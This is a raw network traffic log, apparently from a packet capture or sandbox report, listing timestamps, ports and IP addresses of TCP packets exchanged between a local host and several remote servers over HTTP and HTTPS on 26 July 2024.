Jul 26, 2024 08:58:00.628910065 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.629343033 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.629379034 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.629992008 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.630028009 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.632916927 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.632930994 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.646166086 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.654515982 CEST	80	49784	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:00.654577017 CEST	49784	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:00.681242943 CEST	49793	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:58:00.681284904 CEST	443	49793	216.58.212.142	192.168.2.7
Jul 26, 2024 08:58:00.681544065 CEST	49793	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:58:00.682810068 CEST	49793	443	192.168.2.7	216.58.212.142
Jul 26, 2024 08:58:00.682821989 CEST	443	49793	216.58.212.142	192.168.2.7
Jul 26, 2024 08:58:00.731782913 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.731916904 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.731991053 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.732014894 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.732058048 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.732604980 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.732637882 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.732666969 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.732758045 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.732768059 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.734688997 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.734700918 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.734716892 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.734726906 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.734738111 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.734751940 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.734759092 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.734819889 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.734870911 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.735270977 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.735290051 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.735593081 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.735624075 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.735635996 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.735645056 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.735682011 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.735688925 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.735717058 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.735799074 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.735805035 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.736301899 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.736314058 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.736324072 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.736334085 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.736407042 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.736407042 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.736433983 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.736443996 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.736463070 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.736474037 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.736660957 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.736731052 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.736828089 CEST	49788	443	192.168.2.7	142.250.65.238
Jul 26, 2024 08:58:00.736864090 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.736870050 CEST	443	49788	142.250.65.238	192.168.2.7
Jul 26, 2024 08:58:00.737270117 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.737282991 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.737293005 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.737303019 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.737313032 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.738102913 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.738116026 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.738126040 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.738137007 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.740650892 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.746726036 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.761960030 CEST	49784	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:00.762217045 CEST	49794	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:00.769320965 CEST	80	49794	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:00.769718885 CEST	49794	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:00.769718885 CEST	49794	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:00.769865990 CEST	80	49784	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:00.769929886 CEST	49784	80	192.168.2.7	185.215.113.19
Jul 26, 2024 08:58:00.772497892 CEST	443	49785	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:00.775007963 CEST	80	49794	185.215.113.19	192.168.2.7
Jul 26, 2024 08:58:00.775087118 CEST	49785	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:00.836451054 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.836747885 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.836776018 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.837176085 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.837238073 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.837930918 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.837981939 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.839096069 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.839162111 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.839370012 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.851115942 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.851394892 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.851403952 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.851802111 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.851861954 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.852637053 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.852694988 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.852816105 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.852891922 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.853085041 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.884502888 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.894556046 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.894567966 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.894581079 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.894586086 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.906574965 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.906599045 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.906610966 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.906620026 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.906709909 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.906968117 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.907036066 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.907058001 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.907099009 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.907262087 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.907274008 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.907299995 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.907308102 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.907329082 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.907478094 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.909455061 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.909467936 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.909478903 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.909507036 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.909518957 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.909635067 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.909660101 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.909840107 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.909852028 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.910254002 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.910265923 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.910279036 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.910296917 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.910306931 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.910315037 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.910315037 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.910326004 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.910376072 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.910376072 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.911092043 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.911103010 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.911113977 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.911124945 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.911205053 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.911959887 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.911973000 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.911983967 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.911994934 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.912844896 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.912870884 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.912883043 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.912893057 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.912902117 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.913733959 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.913764954 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.913777113 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.913789034 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.913804054 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.914563894 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.914577007 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.914587975 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.917608023 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.917678118 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:00.941637993 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.941637993 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.950511932 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.950828075 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.951239109 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.951247931 CEST	443	49789	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.953042984 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.953074932 CEST	49789	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.970365047 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.970500946 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.970726013 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.970963001 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.970972061 CEST	443	49790	142.250.176.206	192.168.2.7
Jul 26, 2024 08:58:00.970976114 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.971076965 CEST	49790	443	192.168.2.7	142.250.176.206
Jul 26, 2024 08:58:00.993428946 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:00.993489027 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.019455910 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.019470930 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.019481897 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.019494057 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.019516945 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.019567013 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.020845890 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.020986080 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.026983976 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.027060032 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.029655933 CEST	443	49791	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:01.029805899 CEST	49791	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:01.032994032 CEST	49791	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:01.033001900 CEST	443	49791	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:01.033261061 CEST	443	49791	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:01.036851883 CEST	49791	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:01.055183887 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.055474043 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.055485010 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.055495977 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.055761099 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.055772066 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.056132078 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.056143999 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.056478024 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.056504965 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.056890011 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.056914091 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.057130098 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.057142019 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.057152033 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.057162046 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.057375908 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.057377100 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.058007956 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058020115 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058031082 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058057070 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058073997 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058451891 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.058893919 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058906078 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058916092 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058928013 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058939934 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.058945894 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.058980942 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.058980942 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.059741020 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.059752941 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.059762955 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.059797049 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.059839010 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.060249090 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.060259104 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.060298920 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.060307026 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.060316086 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.060327053 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.060399055 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.060511112 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.061129093 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.061151981 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.061162949 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.061176062 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.061188936 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.061202049 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.061276913 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.062149048 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.062160015 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.062172890 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.062207937 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.062235117 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.062619925 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.062671900 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.062689066 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.062700033 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.062711000 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.062721968 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.062829971 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.063813925 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.063824892 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.063870907 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.063882113 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.063888073 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.064069986 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.065048933 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.065057039 CEST	49795	443	192.168.2.7	142.250.81.228
Jul 26, 2024 08:58:01.065062046 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.065072060 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.065083981 CEST	80	49792	34.107.221.82	192.168.2.7
Jul 26, 2024 08:58:01.065095901 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.065097094 CEST	443	49795	142.250.81.228	192.168.2.7
Jul 26, 2024 08:58:01.065138102 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.065191031 CEST	49795	443	192.168.2.7	142.250.81.228
Jul 26, 2024 08:58:01.065393925 CEST	49795	443	192.168.2.7	142.250.81.228
Jul 26, 2024 08:58:01.065408945 CEST	443	49795	142.250.81.228	192.168.2.7
Jul 26, 2024 08:58:01.071384907 CEST	49796	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:01.076185942 CEST	80	49796	34.107.221.82	192.168.2.7
Jul 26, 2024 08:58:01.076313972 CEST	49796	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:01.076390982 CEST	49796	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:01.080439091 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.080518961 CEST	443	49791	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:01.080543041 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.080555916 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.080909014 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.080925941 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.080938101 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.080950975 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.081089020 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.081549883 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.081583023 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.081594944 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.081980944 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.082032919 CEST	80	49796	34.107.221.82	192.168.2.7
Jul 26, 2024 08:58:01.093914032 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.116389990 CEST	49792	80	192.168.2.7	34.107.221.82
Jul 26, 2024 08:58:01.132317066 CEST	443	49791	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:01.132527113 CEST	443	49791	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:01.140522957 CEST	443	49791	34.160.144.191	192.168.2.7
Jul 26, 2024 08:58:01.142229080 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.142352104 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.142364025 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.142577887 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.142589092 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.143328905 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.143431902 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.143443108 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.143702030 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.143713951 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.143724918 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.143758059 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.144212961 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.144223928 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.144234896 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.144618034 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.144629002 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.144639015 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.144649982 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.145174026 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.145185947 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.145198107 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.145207882 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.145219088 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.145231962 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.145911932 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.145927906 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.145939112 CEST	80	49787	185.215.113.16	192.168.2.7
Jul 26, 2024 08:58:01.146033049 CEST	49791	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:01.146342039 CEST	49787	80	192.168.2.7	185.215.113.16
Jul 26, 2024 08:58:01.148072004 CEST	49791	443	192.168.2.7	34.160.144.191
Jul 26, 2024 08:58:01.148072004 CEST	49791	443	192.168.2.7	34.160.144.191
